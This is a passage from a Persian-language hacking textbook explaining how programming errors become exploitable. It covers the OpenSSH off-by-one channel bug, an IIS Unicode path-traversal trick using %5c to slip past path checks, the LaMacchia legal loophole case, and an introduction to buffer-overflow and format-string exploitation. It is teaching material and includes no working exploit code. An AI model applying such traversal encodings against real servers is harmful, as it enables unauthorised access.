‫ﺑﻪ ﻇﺎﻫﺮ اﯾﻤﻦ را ﺑﻪ ﯾﮏ آﺳﯿﺐ ﭘﺬﯾﺮی اﻣﻨﯿﺘﯽ ﺗﺒﺪﯾﻞ ﮐﻨﺪ‪.‬‬
‫ﻣﺜﺎل اﺧﯿﺮ در اﯾﻦ راﺳﺘﺎ ‪ OpenSSH‬اﺳﺖ ﮐﻪ ﺑﺎ ﻫﺪف ﯾﮏ رﺷﺘﻪ ﺑﺮﻧﺎﻣﻪ ﺗﺮﻣﯿﻨﺎل ارﺗﺒﺎﻃﯽ اﯾﻤﻦ و ﺑـﻪ ﻋﻨـﻮان ﺟـﺎﯾﮕﺰﯾﻨﯽ‬
‫ﺑﺮای ﺳﺮوﯾﺲ ﻫﺎی ﻧﺎاﻣﻦ و ﻏﯿﺮرﻣﺰی ﻣﺎﻧﻨﺪ ‪ rsh ،telnet‬و ‪ rcp‬ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ‪ .‬ﺑﻪ اﯾـﻦ ﺣـﺎل ﯾـﮏ ﺧﻄـﺎی ﺳـﺘﻮن‪-‬‬
‫‪14‬‬
‫دﯾﻮار در ﮐﺪ ﺗﺨﺼﯿﺺ ﮐﺎﻧﺎل وﺟﻮد داﺷﺖ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺷﺪت اﮐـﺴﭙﻠﻮﯾﺖ ﺷـﺪ‪ .‬آن ﺧﻄـﺎ در ﯾـﮏ ﻋﺒـﺎرت ﺷـﺮﻃﯽ ‪ if‬ﺑـﻪ‬
‫ﺻﻮرت زﯾﺮ ﺑﻮد‪:‬‬
‫{ )‪if (id < 0 || id > channels_alloc‬‬
‫ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮد‪:‬‬
‫{ )‪if (id < 0 || id >= channels_alloc‬‬
‫در ﭘﺎرﺳﯽ روان‪ ،‬ﺷﺮط اول ﺑﻪ ﺻﻮرت "اﮔﺮ ‪ ID‬ﮐﻤﺘﺮ از ﺻﻔﺮ ﯾﺎ ﺑﺰرﮔﺘﺮ از ﮐﺎﻧﺎﻟﻬﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ‪ ،‬ﻋﻤﻠﯿـﺎت زﯾـﺮ‬
‫را اﻧﺠﺎم ﺑﺪه" ﺧﻮاﻧﺪه ﻣﯽ ﺷﻮد‪ ،‬در ﺻﻮرﺗﯽ ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ ﺷﮑﻞ ﺑﯽ ﻧﻘﺺ زﯾﺮ )ﺷﺮط دوم( ﺧﻮاﻧﺪه ﺷـﻮد‪" :‬اﮔـﺮ ‪ ID‬ﮐﻤﺘـﺮ از‬
‫ﺻﻔﺮ ﯾﺎ ﺑﺰرﮔﺘﺮ ﯾﺎ ﻣﺴﺎوی ﺑﺎ ﮐﺎﻧﺎﻟﻬﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ‪ ،‬ﻋﻤﻠﯿﺎت زﯾﺮ را اﻧﺠﺎم ﺑﺪه"‪.‬‬
‫اﯾﻦ ﺧﻄﺎی ﺳﺘﻮن‪-‬دﯾﻮار ﺳﺎده‪ ،‬اﻣﮑﺎن اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن ﺑﺮﻧﺎﻣﻪ را ﻓﺮاﻫﻢ ﻣﯽ ﮐﺮد‪ ،‬ﺑﻄﻮرﯾﮑﻪ ﯾﮏ ﮐـﺎرﺑﺮ ﻣﻌﻤـﻮﻟﯽ ﭘـﺲ از‬
‫اﻋﺘﺒﺎرﺳﻨﺠﯽ و ﻻﮔﯿﻦ‪ ،‬ﻣﯿﺘﻮاﻧﺴﺖ اﺧﺘﯿﺎرات ﻣﺪﯾﺮﯾﺘﯽ ﺳﯿﺴﺘﻢ را ﮐﺴﺐ ﮐﻨﺪ‪ .‬اﯾﻦ ﻧﻮع ﻋﺎﻣﻠﯿﺖ ﺑﯽ ﺷﮏ آن ﭼﯿـﺰی ﻧﺒـﻮده‬
‫اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﺎن ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﻣﻨﯿﺘﯽ ﻣﺎﻧﻨﺪ ‪ OpenSSH‬در ﻧﻈﺮ داﺷﺘﻪ اﻧﺪ‪ ،‬اﻣﺎ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺗﻨﻬـﺎ ﮐـﺎری را اﻧﺠـﺎم‬
‫ﻣﯽ دﻫﺪ ﮐﻪ ﺑﻪ آن ﮔﻔﺘﻪ ﺷﺪه ﺑﺎﺷﺪ‪ ،‬ﺣﺘﯽ اﮔﺮ ﻣﻄﻠﻮب ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻧﺒﺎﺷﺪ‪.‬‬
‫وﺿﻌﯿﺖ دﯾﮕﺮی ﮐﻪ ﻇﺎﻫﺮا ﺧﻄﺎﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻗﺎﺑﻞ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن را اﯾﺠﺎد ﻣﯽ ﮐﻨﺪ‪ ،‬زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ‬
‫ﺳﺮﻋﺖ ﺑﻪ ﻣﻨﻈﻮر اﻓﺰاﯾﺶ ﻋﺎﻣﻠﯿﺖ ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ‪ .‬اﮔﺮﭼﻪ اﯾﻦ اﻓﺰاﯾﺶ در ﻋﺎﻣﻠﯿﺖ‪ ،‬ﺑﺮﻧﺎﻣﻪ را از ﺣﯿﺚ ﺑﺎزار ﻗﺎﺑﻞ ﻗﺒﻮل ﺗـﺮ‬
‫ﻣﯽ ﺳﺎزد و ﺑﻬﺎی آﻧﺮا اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ‪ ،‬اﻣﺎ ﺑﻪ ﻫﻤﺎن ﻣﯿﺰان ﭘﯿﭽﯿﺪﮔﯽ ﺑﺮﻧﺎﻣﻪ ﻧﯿـﺰ ﺑـﺎﻻ ﻣـﯽ رود‪ .‬اﯾـﻦ ﭘﯿﭽﯿـﺪﮔﯽ‪ ،‬اﺣﺘﻤـﺎل‬
‫اﺷﺘﺒﺎﻫﺎتِ از ﻧﻈﺮ دور ﻣﺎﻧﺪه و ﺳﻬﻮی را در ﺑﺮﻧﺎﻣﻪ اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ‪ .‬وب ﺳﺮور ‪ IIS‬از ﺷﺮﮐﺖ ﻣﺎﮐﺮوﺳﺎﻓﺖ ﺟﻬﺖ اراﺋـﻪ‬
‫ﻣﻨﺪرﺟﺎت اﯾﺴﺘﺎ و ﺗﻌﺎﻣﻠﯽ وب ﺑﻪ ﮐﺎرﺑﺮان ﻃﺮاﺣﯽ ﺷﺪه اﺳﺖ‪ .‬ﺑﺮای رﺳﯿﺪن ﺑﻪ اﯾﻦ ﻫﺪف‪ ،‬ﺑﺮﻧﺎﻣـﻪ ﺑﺎﯾـﺪ اﺟـﺎزه ﺧﻮاﻧـﺪن‪،‬‬
‫ﻧﻮﺷﺘﻦ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺎ و ﻓﺎﯾﻞ ﻫﺎ را درون ﺷﺎﺧﻪ ﻫﺎی ﻣﺸﺨﺼﯽ ﺑﻪ ﮐﺎرﺑﺮان ﺑﺪﻫﺪ؛ ﺑﺎ اﯾﻦ ﺣﺎل اﯾﻦ ﻋﺎﻣﻠﯿﺖ ﻓﻘـﻂ ﺑﺎﯾـﺪ‬
‫ﻣﺤﺪود ﺑﻪ ﻫﻤﺎن ﺷﺎﺧﻪ ﻫﺎ ﺑﺎﺷﺪ‪ .‬ﺑﺪون اﯾﻦ ﻣﺤﺪودﯾﺖ ﮐﺎرﺑﺮان ﮐﻨﺘﺮل ﮐﺎﻣﻠﯽ روی ﺳﯿﺴﺘﻢ ﺧﻮاﻫﻨـﺪ داﺷـﺖ ﮐـﻪ از ﻧﻘﻄـﻪ‬
‫ﻧﻈﺮ اﻣﻨﯿﺘﯽ ﺧﻮﺷﺎﯾﻨﺪ و ﻣﻄﻠﻮب ﻧﯿﺴﺖ‪ .‬ﺑﺮای اﺟﺘﻨﺎب از اﯾﻦ وﺿﻌﯿﺖ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﮐﺪ ﺑﺮرﺳﯽ‪-‬ﻣﺴﯿﺮ‪ 8‬دارد ﮐﻪ ﮐﺎرﺑﺮان را‬
‫از اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮ ‪ ( \ ) Back-Slash‬ﺟﻬﺖ ﺑﺮﮔﺸﺖ ﺑﻪ ﺷﺎﺧﻪ ﻗﺒﻠﯽ و دﯾﺪن دﯾﮕﺮ ﺷﺎﺧﻪ ﻫﺎ ﻣﻨﻊ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﭘﺸﺘﯿﺒﺎﻧﯽ از ﻣﺠﻤﻮﻋﻪ ﮐﺎراﮐﺘﺮ ﯾﻮﻧﯿﮑﺪ )‪ ،(Unicode‬ﭘﯿﭽﯿﺪﮔﯽ ﺑﺮﻧﺎﻣﻪ ﺑﺎز ﻫـﻢ اﻓـﺰاﯾﺶ ﯾﺎﻓـﺖ‪ .‬ﯾﻮﻧﯿﮑـﺪ‬
‫ﯾﮏ ﻣﺠﻤﻮﻋﻪ ﮐﺎراﮐﺘﺮِ ﺑﺎﯾﺖ‪-‬ﻣﻀﺎﻋﻒ اﺳﺖ ﮐﻪ ﺑﻪ ﻣﻨﻈﻮر اراﺋﻪ ﮐﺎراﮐﺘﺮﻫﺎ ﺑﻪ ﻫﺮ زﺑﺎﻧﯽ ﻣﺎﻧﻨﺪ ﭼﯿﻨﯽ و ﻋﺮﺑﯽ و ﻏﯿﺮه ﻃﺮاﺣﯽ‬
‫ﺷﺪه اﺳﺖ‪ .‬ﺑﻪ ﺟﺎی ﯾﮏ ﺑﺎﯾﺖ ﺑﺮای ﻫﺮ ﮐﺎراﮐﺘﺮ‪ ،‬ﯾﻮﻧﯿﮑﺪ ﺑﺎ اﺳﺘﻔﺎده از دو ﺑﺎﯾﺖ ﺑﺮای ﻧﻤﺎﯾﺶ ﻫﺮ ﮐﺎراﮐﺘﺮ‪ ،‬اﻣﮑﺎن ﭘﯿﺪاﯾﺶ‬
‫ﻫﺰاران ﮐﺎراﮐﺘﺮ ﻣﻤﮑﻦ را ﻓﺮاﻫﻢ ﻣﯽ آورد‪ ،‬و اﯾﻦ‪ ،‬ﻣﺨﺎﻟﻒ اﯾﺪه اﺳﺘﻔﺎده از ﯾﮏ ﺑﺎﯾﺖ ﺑﺮای ﻫﺮ ﮐﺎراﮐﺘﺮ اﺳـﺖ ﮐـﻪ در آن‬
‫ﺗﻨﻬﺎ ﭼﻨﺪﺻﺪ ﮐﺎراﮐﺘﺮ اﻣﮑﺎن وﺟﻮد دارﻧﺪ‪ .‬ﺑـﻪ اﯾـﻦ ﺻـﻮرت اﯾـﻦ ﭘﯿﭽﯿـﺪﮔﯽ اﺿـﺎﻓﯽ‪ ،‬اﻣﮑـﺎن ﭼﻨـﺪﯾﻦ ﻧﻤـﺎﯾﺶ از ﮐـﺎراﮐﺘﺮ‬
‫‪ Backslash‬را ﻓﺮاﻫﻢ ﻣﯽ آورد‪ .‬ﺑﺮای ﻣﺜﺎل‪ %5c ،‬در ﯾﻮﻧﯿﮑﺪ ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮ ‪ backslash‬ﺗﺮﺟﻤﻪ ﻣﯽ ﺷﻮد‪ .‬اﻣﺎ اﯾـﻦ‬
‫ﺗﺮﺟﻤﻪ ﺑﻌﺪ از اﺟﺮای ﮐﺪ ﺑﺮرﺳﯽ ﻣﺴﯿﺮ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪ .‬ﻟﺬا ﺑﻪ ﺟﺎی ﮐﺎراﮐﺘﺮ \‪ ،‬ﺑﺎ اﺳﺘﻔﺎده از ‪ %5c‬اﻣﮑﺎن ﺗﻐﯿﯿﺮ ﺷﺎﺧﻪ ﺑـﻪ‬
‫وﺟﻮد ﻣﯽ آﯾﺪ ﮐﻪ اﯾﻦ ﺧﺎﺻﯿﺖ ﺧﻄﺮات اﻣﻨﯿﺘﯽ ﻣﺬﺑﻮر را ﺑـﻪ ارﻣﻐـﺎن ﻣـﯽ آورد‪ .‬دو ﮐـﺮم اﯾﻨﺘﺮﻧﺘـﯽ ‪ Sadmind‬و ‪Code-‬‬
‫‪ Red‬از اﯾﻦ ﻧﻮع اﺷﺘﺒﺎه در ﺗﺮﺟﻤﻪ ﯾﻮﻧﯿﮑﺪ اﺳﺘﻔﺎده ﻣﯽ ﮐﺮدﻧﺪ‪.‬‬
‫ﻣﺜﺎل دﯾﮕﺮ از اﯾﻦ ﻗﺎﻧﻮن در ﺧﺎرج ﻗﻠﻤﺮو ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﮐـﺎﻣﭙﯿﻮﺗﺮی اﺳـﺘﻔﺎده ﺷـﺪ ﮐـﻪ ﺗﺤـﺖ ﻋﻨـﻮان "روزﻧـﻪ ﺳـﻨﮕﺮ در‬
‫ﻟَﻤَﮑﺸﯿﺎ" ﺷﻨﺎﺧﺘﻪ ﻣﯿﺸﻮد‪ .‬درﺳﺖ ﻣﺎﻧﻨﺪ ﻗﻮاﻧﯿﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﮐﺎﻣﭙﯿﻮﺗﺮی‪ ،‬ﻧﻈﺎم ﻗﺎﻧﻮﻧﯽ آﻣﺮﯾﮑﺎ ﻧﯿﺰ در ﺑﺮﺧﯽ ﻣﻮاﻗﻊ ﻗـﻮاﻧﯿﻨﯽ‬
‫دارد ﮐﻪ دﻗﯿﻘﺎ ﻣﻮﺿﻊ و ﻣﻨﻈﻮر ﺧﻮد را ﺑﯿﺎن ﻧﻤﯽ دارد‪ .‬ﻫﻤﺎﻧﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ ﺑﺮای ﺑﺮﻧﺎﻣﻪ ﻫـﺎی ﮐـﺎﻣﭙﯿﻮﺗﺮی‪ ،‬ﻣـﯽ ﺗـﻮان از‬
‫اﯾﻦ روزﻧﻪ ﻫﺎی ﻗﺎﻧﻮﻧﯽ ﺑﺮای ﺳﻮ اﺳﺘﻔﺎده از آن ﻗﻮاﻧﯿﻦ اﺳﺘﻔﺎده ﮐﺮد‪ .‬ﺗﻘﺮﯾﺒﺎ اواﺧﺮ ﺳـﺎل ‪ ،1933‬دﯾﻮﯾـﺪ ﻟﻤﮑـﺸﯿﺎ‪ ،9‬ﯾـﮏ‬

‫‪8‬‬
‫‪Path-Checking‬‬
‫‪9‬‬
‫‪David LaMacchia‬‬
‫‪15‬‬
‫ﻫﮑﺮ ‪ 21‬ﺳﺎﻟﻪ و داﻧﺶ آﻣﻮز در‪ ،MIT‬ﯾﮏ ﺳﯿﺴﺘﻢ ﺗﺎﺑﻠﻮ اﻋﻼﻧﺎت‪ 10‬ﺑـﺎ ﻧـﺎم "‪ "Cynosure‬را ﺑـﺮای ﻣﻘﺎﺻـﺪ دزدی ﻧـﺮم‬
‫اﻓﺰاری ﻧﺼﺐ ﮐﺮد‪ .‬آﻧﻬﺎﯾﯽ ﮐﻪ ﻧﺮم اﻓﺰاری ﺑﺮای اراﺋﻪ داﺷﺘﻨﺪ ﻣﯽ ﺗﻮاﻧﺴﺘﻨﺪ آن ﻧﺮم اﻓﺰار را آﭘﻠـﻮد ﮐـﺮده و آﻧﻬـﺎﯾﯽ ﮐـﻪ‬
‫ﻧﻤﯽ ﺧﻮاﺳﺘﻨﺪ ﭼﯿﺰی اراﺋﻪ ﮐﻨﻨﺪ‪ ،‬ﺣﺪاﻗﻞ ﻣﯽ ﺗﻮاﻧﺴﺘﻨﺪ ﻧﺮم اﻓﺰار ﻣﻮرد ﻧﻈﺮ ﺧﻮد را داﻧﻠﻮد ﮐﻨﻨﺪ‪ .‬اﯾﻦ ﺳﺮوﯾﺲ ﺗﻨﻬـﺎ ﺑـﺮای‬
‫‪ 6‬ﻫﻔﺘﻪ ﻓﻌﺎل ﺑﻮد‪ ،‬اﻣﺎ ﯾﮏ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ ﺳﻨﮕﯿﻦ و ﺟﻬﺎﻧﯽ را اﯾﺠﺎد ﮐﺮد ﮐﻪ ﺳﺮاﻧﺠﺎم ﺗﻮﺟﻪ ﻣـﺴﺌﻮﻻن داﻧـﺸﮕﺎه و ﻓـﺪرال‬
‫اﻣﻨﯿﺘﯽ را ﺟﻠﺐ ﮐﺮد‪ .‬ﺷﺮﮐﺖ ﻫﺎی ﻧﺮم اﻓﺰاری ادﻋﺎ ﮐﺮدﻧﺪ ﮐﻪ در ﻧﺘﯿﺠﻪ ‪ Cynosure‬ﻣﺘﺤﻤـﻞ ﺿـﺮر ﯾـﮏ ﻣﯿﻠﯿـﻮن دﻻری‬
‫ﺷﺪه اﻧﺪ‪ .‬ﻫﯿﺌﺖ ﻣﻨﺼﻔﻪ ﻓﺪرال‪ ،‬ﻟﻤﮑﺸﯿﺎ را ﺑﻪ اﺗﻬﺎم ﻣﺸﺎرﮐﺖ ﺑﺎ اﻓﺮاد ﻧﺎﺷﻨﺎس و ﺗﺨﻠﻒ از اﺣﮑﺎم ﮐﻼﻫﺒﺮداری ﮐـﺎﻣﭙﯿﻮﺗﺮی‬
‫دﺳـﺘﮕﯿﺮ ﮐﺮدﻧـﺪ‪ .‬ﺑـﻪ ﻫـﺮ ﺣـﺎل ﺣﮑـﻢ ﺑﺎزداﺷـﺖ ﻋـﺰل ﺷـﺪ ﭼـﻮن اَﻋﻤـﺎل ﻟﻤﮑـﺸﯿﺎ‪ ،‬ﺗﺤـﺖ ﺟﺮﯾـﺎن ﻗـﺮارداد ﺣـﻖ‪-‬ﮐﭙـﯽ‬
‫)‪ (Copyright‬ﺑﻪ ﻋﻨﻮان ﺑﺰﻫﮑﺎری ﺷﻨﺎﺧﺘﻪ ﻧﺸﺪ‪ ،‬ﭼﻮن ﺟﺮم ﺑﺮای اﻫﺪاف ﻣﻨﻔﻌﺘﯽ ﺗﺠﺎری ﯾﺎ ﺳـﻮ اﺳـﺘﻔﺎده ﻫـﺎی ﺷﺨـﺼﯽ‬
‫ﻣﺎﻟﯽ اﻧﺠﺎم ﻧﺸﺪه ﺑﻮد‪ .‬ﻇﺎﻫﺮا ﻗﺎﻧﻮﻧﮕﺬارن ﻫﺮﮔﺰ ﭘﯿﺶ ﺑﯿﻨـﯽ ﻧﻤـﯽ ﮐﺮدﻧـﺪ ﮐـﻪ ﻓـﺮدی ﺑـﺎ اﻫـﺪاﻓﯽ ﻏﯿـﺮ از ﻣﻨﻔﻌـﺖ ﻃﻠﺒـﯽ‬
‫اﻗﺘﺼﺎدی و ﺷﺨﺼﯽ ﻣﺸﻐﻮل ﺑﻪ اﯾﻦ ﻧﻮع ﻓﻌﺎﻟﯿﺖ ﻫﺎ ﺷﻮد‪ .‬ﭼﻨـﺪی ﺑﻌـﺪ در ﺳـﺎل ‪ ،1997‬ﮐﻨﮕـﺮه اﯾـﻦ رﺧﻨـﻪ ﻗـﺎﻧﻮﻧﯽ را ﺑـﺎ‬
‫ﻗﺮارداد ﻋﺪم دزدی اﻟﮑﺘﺮوﻧﯿﮑﯽ )‪ (No Electronic Theft‬ﻣﺮﺗﻔﻊ ﺳﺎﺧﺖ‪ .‬اﮔﺮﭼﻪ اﯾﻦ ﻣﺜﺎل راﺟﻊ ﺑﻪ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن‬
‫ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﮐﺎﻣﭙﯿﻮﺗﺮی ﻧﺒﻮد‪ ،‬اﻣﺎ دادﮔﺎه را ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﮐﺎﻣﭙﯿﻮﺗﺮی ﻓـﺮض ﮐـﺮد ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ ی ﺳﯿـﺴﺘﻢ ﻗـﺎﻧﻮﻧﯽ را‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﻮﺷﺘﻪ ﺷﺪه اﺳﺖ اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ .‬ﻣﻔﺎﻫﯿﻢ اﻧﺘﺰاﻋﯽ از ﻋﻠﻢ ﻫﮏ از دﻧﯿﺎی ﮐﺎﻣﭙﯿﻮﺗﺮ و ﻣﺤﺎﺳﺒﺎت ﻓﺮاﺗـﺮ اﺳـﺖ‪،‬‬
‫ﺑﻄﻮرﯾﮑﻪ ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﺑﺮ وﺟﻮه ﺑﺴﯿﺎر ﻣﺨﺘﻠﻔﯽ از زﻧﺪﮔﯽ اﻋﻤﺎل ﮐﺮد ﮐـﻪ ﻣﻤﮑـﻦ اﺳـﺖ ﺳﯿـﺴﺘﻢ ﻫـﺎی ﭘﯿﭽﯿـﺪه ای در‬
‫ورای آن ﺑﺎﺷﻨﺪ‪.‬‬

‫‪ .2,3‬ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﻠﯽ اﮐﺴﭙﻠﻮﯾﺖ‬

‫ﺧﻄﺎﻫﺎی ﺳﺘﻮن دﯾﻮار و ﺗﻮﺳﻌﻪ ﻧﺎﻣﻨﺎﺳﺐ ﯾﻮﻧﯿﮑﺪ ﻣﺸﮑﻼﺗﯽ ﻫﺴﺘﻨﺪ ﮐﻪ در آن واﺣﺪ ﻧﻤﯽ ﺗﻮان آﻧﻬـﺎ را ﺗـﺸﺨﯿﺺ داد‪ ،‬اﻣـﺎ‬
‫ﺑﺮای ﻫﺮ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﺑﺎ درک ﺑﺎﻻ آﺷﮑﺎر ﺧﻮاﻫﻨﺪ ﺑﻮد‪ .‬اﻣﺎ ﺧﻄﺎﻫﺎی راﯾﺠﯽ وﺟﻮد دارﻧﺪ ﮐﻪ ﺑـﻪ روش ﻫـﺎﯾﯽ اﮐـﺴﭙﻠﻮﯾﺖ‬
‫ﻣﯽ ﺷﻮﻧﺪ ﮐﻪ آن ﻗﺪرﻫﺎ ﻫﻢ آﺷﮑﺎر ﻧﯿﺴﺘﻨﺪ‪ .‬ﺗﺎﺛﯿﺮ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﺮ اﻣﻨﯿﺖ ﻫﻤﯿﺸﻪ واﺿﺢ ﻧﯿﺴﺖ و اﯾـﻦ ﻣـﺸﮑﻼت اﻣﻨﯿﺘـﯽ در‬
‫ﻫﺮ ﺟﺎﯾﯽ از ﮐﺪ وﺟﻮد دارﻧﺪ‪ .‬ﭼﻮن اﺷﺘﺒﺎﻫﺎت ﯾﮑﺴﺎﻧﯽ در ﺑـﺴﯿﺎری از ﻣـﻮارد ﻣﺨﺘﻠـﻒ رخ ﻣـﯽ دﻫﻨـﺪ‪ ،‬ﻟـﺬا ﺗﮑﻨﯿـﮏ ﻫـﺎی‬
‫اﮐﺴﭙﻠﻮﯾﺘﯿﻨﮓ ﮐﻠﯽ و ﭘﺎﯾﻪ ای ﺑﺮای ﺳﻮد ﺑﺮدن از اﯾﻦ اﺷﺘﺒﺎﻫﺎت ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ اﻧﺪ و ﻣـﯽ ﺗـﻮان آﻧﻬـﺎ را در وﺿـﻌﯿﺖ ﻫـﺎی‬
‫ﮔﻮﻧﺎﮔﻮﻧﯽ ﺑﮑﺎر ﺑﺮد‪.‬‬
‫ﻣﯽ ﺗﻮان از دو ﻧﻮع ﻣﻌﻤﻮل از ﺗﮑﻨﯿﮏ ﻫﺎی ﮐﻠﯽ اﮐﺴﭙﻠﻮﯾﺖ ﯾﻌﻨﯽ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ ﺑﺎﻓﺮ‪ 11‬و اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ‬
‫ﻓﺮﻣﺖ‪ 12‬ﻧﺎم ﺑﺮد‪ .‬در ﻫﺮ دوی اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﻫﺪف ﻧﻬﺎﯾﯽ‪ ،‬ﮐﻨﺘﺮل ﮐﺮدن روﻧﺪ اﺟﺮاﯾﯽ ﺑﺮﻧﺎﻣﻪ ﻫﺪف اﺳﺖ ﺗـﺎ ﺳﯿـﺴﺘﻢ را‬
‫در اﺟﺮای ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ ﻣﻀﺮ )ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا از ﻃﺮق ﮔﻮﻧﺎﮔﻮﻧﯽ در ﺣﺎﻓﻈﻪ ﻗﺮار داد( ﻓﺮﯾﺐ دﻫﯿﻢ‪ .‬اﯾﻦ ﻋﻤﻞ ﺗﺤﺖ ﻧﺎم‬
‫اﺟﺮای ﮐﺪ دﻟﺨﻮاه )‪ (arbitrary code execution‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ ،‬ﭼﺮا ﮐﻪ ﻫﮑﺮ ﻣﯽ ﺗﻮاﻧـﺪ ﺗﻘﺮﯾﺒـﺎ ﻣـﺴﺒﺐ ﻫﺮﮐـﺎری‬
‫ﺷﻮد‪.‬‬
‫اﻣﺎ ﭼﯿﺰی ﮐﻪ واﻗﻌﺎ اﯾﻦ ﻧﻮع اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﺟﺬاب و دﻟﭽﺴﺐ ﻣﯽ ﺳﺎزد‪ ،‬ﺗﮑﻨﯿﮏ ﻫـﺎی زﯾﺮﮐﺎﻧـﻪ ﻣﺨﺘﻠﻔـﯽ اﺳـﺖ ﮐـﻪ در‬
‫راﺳﺘﺎی دﺳﺘﯿﺎﺑﯽ ﺑﻪ اﻫﺪاف ﻧﻬﺎﯾﯽ ﺗﻮﺳﻌﻪ ﯾﺎﻓﺘﻪ اﻧﺪ‪ .‬درک اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﺑﻪ ﻣﺮاﺗﺐ ﻣﻘﺘﺪراﻧﻪ ﺗﺮ و ﻣﻔﯿﺪﺗﺮ از ﻧﯿﻞ ﺑﻪ ﻧﺘﯿﺠﻪ‬
‫ﭘﺎﯾﺎﻧﯽ ﻫﺮ اﮐﺴﭙﻠﻮﯾﺖ واﺣﺪ اﺳﺖ )ﻣﺜﻼ دﺳﺘﺮﺳﯽ ﺑﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﮐﺎﻣﭙﯿﻮﺗﺮی(‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣـﯽ ﺗـﻮان آﻧﻬـﺎ را اِﻋﻤـﺎل و‬
‫ﮔﺴﺘﺮش داد ﺗﺎ ﺗﺎﺛﯿﺮات دﯾﮕﺮی را ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل ﭘﯿﺶ ﻧﯿﺎز درک اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎی اﮐﺴﭙﻠﻮﯾﺘﯿﻨﮓ ﺑﻪ ﻣﺮاﺗـﺐ‬
‫داﻧﺸﯽ ﻋﻤﯿﻖ ﺗﺮ از ﻣﺠﻮزﻫﺎی ﻓﺎﯾﻞ‪ ،‬ﻣﺘﻐﯿﺮﻫﺎ‪ ،‬ﺗﺨﺼﯿﺺ ﺣﺎﻓﻈﻪ‪ ،‬ﺗﻮاﺑﻊ و زﺑﺎن اﺳﻤﺒﻠﯽ اﺳﺖ‪.‬‬

‫‪10‬‬
‫‪Bulletin Board System‬‬
‫‪11‬‬
‫‪Buffer Overflow‬‬
‫‪12‬‬
‫‪Format-String‬‬
‫‪16‬‬
‫‪ .2,4‬ﻣﺠﻮزﻫﺎی ﭼﻨﺪ‪-‬ﮐﺎرﺑﺮه ﻓﺎﯾﻞ‬

‫ﻟﯿﻨﻮﮐﺲ ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﭼﻨﺪﮐﺎرﺑﺮه )‪ (Multi-User‬اﺳﺖ ﮐﻪ ﺳﻄﺢ اﺧﺘﯿﺎرات ﮐﺎﻣﻞ ﺳﯿﺴﺘﻢ‪ ،‬ﻣﻨﺤﺼﺮا ﺑﻪ ﯾـﮏ ﮐـﺎرﺑﺮ‬
‫ﻣﺪﯾﺮﯾﺘﯽ ﺗﺤﺖ ﻋﻨﻮان رﯾﺸﻪ )‪ (root‬اﻋﻄﺎ ﻣﯽ ﺷﻮد‪ .‬ﻋﻼوه ﺑﺮ ﮐـﺎرﺑﺮ رﯾـﺸﻪ‪ ،‬اﮐﺎﻧـﺖ ﻫـﺎی ﮐـﺎرﺑﺮی ﺑـﺴﯿﺎر و ﮔـﺮوه ﻫـﺎی‬
